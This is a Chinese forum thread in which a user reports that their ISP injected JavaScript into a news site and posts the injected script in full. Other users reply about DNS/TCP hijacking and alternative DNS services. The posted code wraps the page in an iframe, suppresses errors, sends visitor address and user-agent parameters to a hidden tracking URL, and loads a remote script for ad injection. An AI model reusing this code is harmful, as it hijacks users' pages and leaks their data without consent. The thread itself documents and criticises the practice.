上网奇遇记

hudba

- R4 V+ U0 a" w, ?# V# ?
上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
& }9 K9 u, e  K
接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
9 x( ]4 U& X% {: U8 }& j) [% G

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

顺便查下ip138：

这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   , t: F( ~! s( j6 g! f1 O
2.         var s = getMainJs();
   , t- b$ W9 A. X. _
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   * k- T# o# Y3 o$ s2 y
7. }
   : S: ]' d. W3 w' E
8. 
   0 T, e, ?3 a& X6 P! ]* ]
9. function getParameter(name, paraStr) {
   4 F. \( D! n# c% l+ z' H. e
10.         var result = "";
    4 V% v% p) L, R
11.         var str = "&" + paraStr.split("?")[1];
    - y, _4 c7 @* h* q3 h
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    ! R+ j+ t* ]- s- Q+ g5 K/ M$ g: [
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    + l9 H4 x* c2 ~9 U' e" m
19.                 } else {
    ' Q. Z) c- D" P. A4 p. z2 t7 Z
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    : Y, T- N: M: v
22. 
    # [0 d5 u& A$ B
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    3 N( W: b' Y$ x
24.         } else {
    2 C! Q2 X2 v' G+ D, e# e  S$ g7 s
25.                 result = "No such parameter";
    
26.         }
    8 y4 C- l+ ~: x+ I; j5 l1 [  M- u
27.         return (result.replace("&", ""));
    ! z( M2 @% _  |# v7 c  D3 l% u
28. }
    
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    5 w- H- r' N1 H0 Y2 \8 Z6 i
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    + B5 s- H. I6 x" S
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    % F) K* z& \0 Z' L5 g# e
36.                         break;
    
37.                 }
    6 L& R1 z7 N* ]  h: H
38.         }
    
39.         return s;
    
40. }
    
41. 
    ; G# u& k; [; q5 K1 i4 f7 o
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    ( M8 J' ?" u( @/ u& J$ B" P
46.                 oStr = oStr + "?" + aStr;
    " p6 b: g4 c) B! I9 W5 L
47.         }
    2 v/ m& m) b5 ^$ v( i2 r* y
48.         return oStr;
    7 R* k: X% ~6 J' x
49. }
    , z" O+ o  u9 W: ^) A2 }1 Q
50. 
    
51. window.onerror = function() {
    1 K$ z& I" R8 L5 t
52. };
    8 I, T) n3 V' \8 o4 G% p; i, W
53. 
    
54. var g_titleTime = 0;
    3 b. e  g/ c' V
55. function setTcTitle() {
    2 C& V! }) I3 r$ ]  h( G# K
56.         if (undefined == document) {
    3 E' n8 l5 B, g6 _# n, A
57.                 g_titleTime++;
    - u4 l. e+ ~+ Y7 k6 B9 A
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
      K4 T- q. \) K/ E3 B: k
61. 
    
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    % @/ j0 f% `+ i4 s8 E
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    4 O( J2 u. V& b2 _
69.         } catch (ex) {
    ) x/ s1 Z+ `# W0 Q  |
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    : r7 D6 @) y: D, [8 }
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    5 o/ ^" R2 V. T9 t+ {( n5 Y, l
75.                 setTimeout("setTcTitle();", 1000);
    " t* _1 ^$ u" P- b# v
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ; n3 j! x8 M0 s( b# X$ G
78.                 document.title = doc.title;
    & S! [/ h5 K! C
79.                 setTcAdvVisible();
    
80.         }
    8 ]2 E$ ~' H  v( }
81. }
    
82. 
    
83. setTimeout("setTcTitle();", 1000);
    : W) l, ^0 P4 y  s
84. 
    + \. O2 v* ]- _3 q6 e
85. var g_isHaveVisible = false;
    * G3 o+ z7 l9 Q0 j1 ]+ S9 T& D
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    6 U. |* `; f9 |/ M6 j; Q  B8 Y6 `( J
90.                 document.getElementById("addiv").style.display = 'block';
    % t: L, G) B8 \+ t- C2 D8 n7 K
91.                 g_isHaveVisible = true;
    
92.         }
    % \9 L& b( {) O! R$ ?2 @
93. }
    7 F2 t) R+ |8 h8 @- u- _0 C; X8 c8 G
94. 
    ' b! G# [& j# G
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    8 s$ B; s) p% I: q) _
97.         this.tctype = "";
    * E. `' g; |" R! G! f
98.         this.radius = "";
    ; \7 t: S+ t, b0 N/ D6 o$ N* |; Q
99.         this.rlu = "";
    . W3 Y5 S+ @& E) a( T
100. }
     + ]. L$ b$ Q$ e2 n6 N% W
101. 
     / r5 O+ u# Q* Z1 w; c4 e, ]
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     / U+ K  e3 b1 Q( G$ H- K
104.         this.rlu = getParameter("lruedct", paraStr);
     5 q9 b1 [3 w- G" j0 X7 ]0 P
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     & e4 M3 x; V+ @2 B' R- I$ K
107.         this.tctype = getParameter("tctype", paraStr);
     ; P" @8 p/ j% c0 W# Q  `
108.         this.address = getParameter("address", paraStr);
     : }) |/ W7 d6 U7 \5 C6 M, `( j. T0 _
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     + O7 Y9 s( L+ \6 y, c% n2 v2 m% \
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     $ }3 w! r5 e+ `4 N" E5 y
113.         var doc;
     
114.         try {
     + w! g; _" Q9 T' y& f- ?
115.                 if (document.all) {
     3 N+ i1 N  f5 l
116.                         doc = document.frames["cn"].document;
     
117. 
     $ t4 \# c9 f  i% w4 |, t( ]
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     6 S) B1 C1 b2 y' [- `
120.                         // doc = document.getElementById("cn").contentWindow.document;
     & e# P9 }; J: ]1 d5 d3 p
121.                 }
     " _. \. W2 E0 {3 {9 J5 D
122.         } catch (ex) {
     ( F; v% B! v* |& w
123.         }
     ; q! r2 y: g- p0 i
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     ( u! X  z  Y. l2 a" d
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     6 g/ T. g# F+ z+ X6 |
133.                                         document.domain.length);
     3 {( K6 T! y4 a' ~- z% o. n
134.                 }
     
135.                
     ' [3 z8 S' P/ G6 y: _3 x
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     & v6 L4 @4 k+ Z- [" n
139.                         setTcAdvVisible();
     1 ]6 x6 _, L1 w7 G
140.                 }
     3 d2 T: |* {3 P7 b% v
141.         }
     1 L; v0 t" W$ J+ v# ^
142. }
     
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     - x% {$ o: y0 F0 v, F
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     # u7 G5 x8 V. r: a3 n& O# y
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     * Z  q* @* |# U  m3 ~( X4 h9 @
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     " K$ V4 \4 w) X5 I7 R+ C# |
154.                         // document.domain.length);
     ) ?) l+ k+ X' \6 ]& |$ [; ?
155.                         // }
     5 q& l6 O7 i) l* [6 W4 N. w
156.                         //
     5 \' S) u/ ^2 Z' i) m: s
157.                         // var doc = this.getHtmlDoc();
     6 [4 E- }' y; ]* c" P, l
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     ) o% v5 s0 B$ Q0 V
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     5 s) m  @! T$ v) f5 n' {
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     0 {$ o! J7 L4 p  Y( `( X
168. }
     ; K2 B* m: X! ~: [" j" z- [) C
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     $ D, N6 x" A" I. p
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     3 R7 v, h, ~! Y1 v% g/ V
175.                         + "" style="display:none"></iframe>";
     3 \* j+ Z0 M; n/ B; Z
176. 
     $ i! ?" \% L  i' p, \# U
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     # B) r* P$ o0 a4 ?- ?5 P
180.         document.write(advUrl);
     2 s5 w, x  M1 W& c* d& ~
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     2 |# J( U1 J6 r! h4 d
186.                         self.iframeCallback.call(self, null);
     2 ?9 O  Y/ z' _, K/ g5 x
187.                 });
     5 Q- z7 W" G5 ]7 k5 W# `" Q+ \
188.         } else {
     
189.                 iframe.onload = function() {
     
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     % d% N/ T- N5 y
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     . ?% W) q+ r$ z8 s
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     

复制代码

' S- \# A/ `. }/ C
/ X" A- p9 ]0 b" i4 p+ W. o

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
! O$ v7 F. Y) R9 j( F; }  t9 ]6 DTCP劫持，换DNS也不管用的。

! v: D9 ~) o4 K幸好联通还木有这么强的技术

哈默

在国内，习惯就好